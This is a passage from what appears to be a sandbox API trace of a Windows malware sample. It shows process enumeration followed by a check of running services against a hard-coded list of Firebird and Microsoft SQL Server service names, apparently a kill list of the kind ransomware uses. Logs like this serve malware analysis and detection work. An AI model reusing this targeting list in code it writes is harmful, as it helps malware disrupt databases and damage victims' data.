cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0032.430] lstrlenW (lpString="career-fed.exe") returned 14 [0032.430] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0032.431] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0032.431] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0032.432] lstrlenW (lpString="initial_utilization.exe") returned 23 [0032.432] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0032.444] lstrlenW (lpString="cf-represent.exe") returned 16 [0032.444] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0032.444] lstrlenW (lpString="tue.exe") returned 7 [0032.444] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0032.446] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0032.446] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0032.447] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0032.447] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0032.447] lstrlenW (lpString="stuff_event.exe") returned 15 [0032.447] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0032.449] lstrlenW (lpString="keywords-copies.exe") returned 19 [0032.449] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0032.449] lstrlenW (lpString="lap.exe") returned 7 [0032.449] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0032.450] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0032.450] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0032.451] lstrlenW (lpString="dllhost.exe") returned 11 [0032.451] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0032.452] lstrlenW (lpString="dllhost.exe") returned 11 [0032.452] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0032.453] lstrlenW (lpString="chrome64b.exe") returned 13 [0032.453] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0032.453] lstrlenW (lpString="cmd.exe") returned 7 [0032.453] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0032.454] lstrlenW (lpString="conhost.exe") returned 11 [0032.454] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0032.455] lstrlenW (lpString="mode.com") returned 8 [0032.455] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0032.455] CloseHandle (hObject=0x118) returned 1 [0032.455] Sleep (dwMilliseconds=0x1f4) [0033.228] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f5c0 [0033.228] EnumServicesStatusExW (in: hSCManager=0x66f5c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0033.229] GetLastError () returned 0xea [0033.229] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x6707d8 [0033.229] EnumServicesStatusExW (in: hSCManager=0x66f5c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6707d8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6707d8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0033.230] CloseServiceHandle (hSCObject=0x66f5c0) returned 1 [0033.230] lstrlenW (lpString="Appinfo") returned 7 [0033.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0033.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0033.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0033.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0033.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0033.230] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0033.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0033.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0033.230] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0033.230] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0033.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0033.230] lstrlenW (lpString="AudioSrv") returned 8 [0033.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0033.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0033.230] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0033.230] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0033.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0033.230] lstrlenW (lpString="BFE") returned 3 [0033.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0033.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0033.231] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0033.231] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0033.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0033.231] lstrlenW (lpString="CryptSvc") returned 8 [0033.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0033.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0033.231] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0033.231] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0033.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0033.231] lstrlenW (lpString="CscService") returned 10 [0033.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0033.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0033.231] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0033.231] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0033.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0033.231] lstrlenW (lpString="DcomLaunch") returned 10 [0033.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0033.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0033.231] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0033.231] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0033.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0033.231] lstrlenW (lpString="Dhcp") returned 4 [0033.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0033.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0033.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0033.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0033.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0033.231] lstrlenW (lpString="Dnscache") returned 8 [0033.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0033.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0033.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0033.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0033.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0033.232] lstrlenW (lpString="DPS") returned 3 [0033.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0033.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0033.232] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0033.232] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0033.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0033.232] lstrlenW (lpString="eventlog") returned 8 [0033.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0033.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0033.232] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0033.232] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0033.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0033.232] lstrlenW (lpString="EventSystem") returned 11 [0033.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0033.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0033.232] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0033.232] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0033.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0033.232] lstrlenW (lpString="gpsvc") returned 5 [0033.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0033.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0033.232] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0033.232] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0033.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0033.233] lstrlenW (lpString="iphlpsvc") returned 8 [0033.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0033.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0033.233] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0033.233] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0033.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0033.233] lstrlenW (lpString="LanmanServer") returned 12 [0033.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0033.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0033.233] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0033.233] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0033.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0033.233] lstrlenW (lpString="LanmanWorkstation") returned 17 [0033.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0033.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0033.233] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0033.233] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0033.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0033.233] lstrlenW (lpString="lmhosts") returned 7 [0033.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0033.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0033.233] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0033.233] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0033.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0033.233] lstrlenW (lpString="MMCSS") returned 5 [0033.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0033.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0033.233] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0033.233] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0033.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0033.234] lstrlenW (lpString="MpsSvc") returned 6 [0033.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0033.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0033.234] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0033.234] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0033.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0033.234] lstrlenW (lpString="Netman") returned 6 [0033.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0033.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0033.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0033.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0033.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0033.234] lstrlenW (lpString="netprofm") returned 8 [0033.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0033.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0033.234] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0033.234] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0033.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0033.234] lstrlenW (lpString="NlaSvc") returned 6 [0033.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0033.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0033.234] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0033.234] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0033.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0033.234] lstrlenW (lpString="nsi") returned 3 [0033.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0033.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0033.234] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0033.235] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0033.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0033.235] lstrlenW (lpString="PcaSvc") returned 6 [0033.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0033.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0033.235] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0033.235] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0033.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0033.235] lstrlenW (lpString="PlugPlay") returned 8 [0033.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0033.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0033.235] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0033.235] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0033.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0033.235] lstrlenW (lpString="Power") returned 5 [0033.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0033.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0033.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0033.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0033.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0033.235] lstrlenW (lpString="ProfSvc") returned 7 [0033.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0033.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0033.235] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0033.235] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0033.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0033.235] lstrlenW (lpString="RpcEptMapper") returned 12 [0033.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0033.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0033.236] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0033.236] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0033.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0033.236] lstrlenW (lpString="RpcSs") returned 5 [0033.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0033.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0033.236] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0033.236] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0033.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0033.236] lstrlenW (lpString="SamSs") returned 5 [0033.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0033.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0033.236] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0033.236] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0033.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0033.236] lstrlenW (lpString="Schedule") returned 8 [0033.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0033.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0033.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0033.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0033.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0033.236] lstrlenW (lpString="SENS") returned 4 [0033.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0033.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0033.236] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0033.236] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0033.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0033.236] lstrlenW (lpString="ShellHWDetection") returned 16 [0033.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0033.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0033.237] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0033.237] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0033.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0033.237] lstrlenW (lpString="Spooler") returned 7 [0033.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0033.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0033.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0033.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0033.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0033.237] lstrlenW (lpString="SysMain") returned 7 [0033.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0033.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0033.237] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0033.237] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0033.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0033.237] lstrlenW (lpString="Themes") returned 6 [0033.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0033.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0033.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0033.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0033.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0033.237] lstrlenW (lpString="TrkWks") returned 6 [0033.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0033.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0033.237] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0033.237] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0033.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0033.238] lstrlenW (lpString="UxSms") returned 5 [0033.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0033.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0033.238] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0033.238] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0033.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0033.238] lstrlenW (lpString="WdiServiceHost") returned 14 [0033.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0033.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0033.238] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0033.238] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0033.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0033.238] lstrlenW (lpString="WdiSystemHost") returned 13 [0033.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0033.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0033.238] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0033.238] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0033.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0033.238] lstrlenW (lpString="WinHttpAutoProxySvc") returned 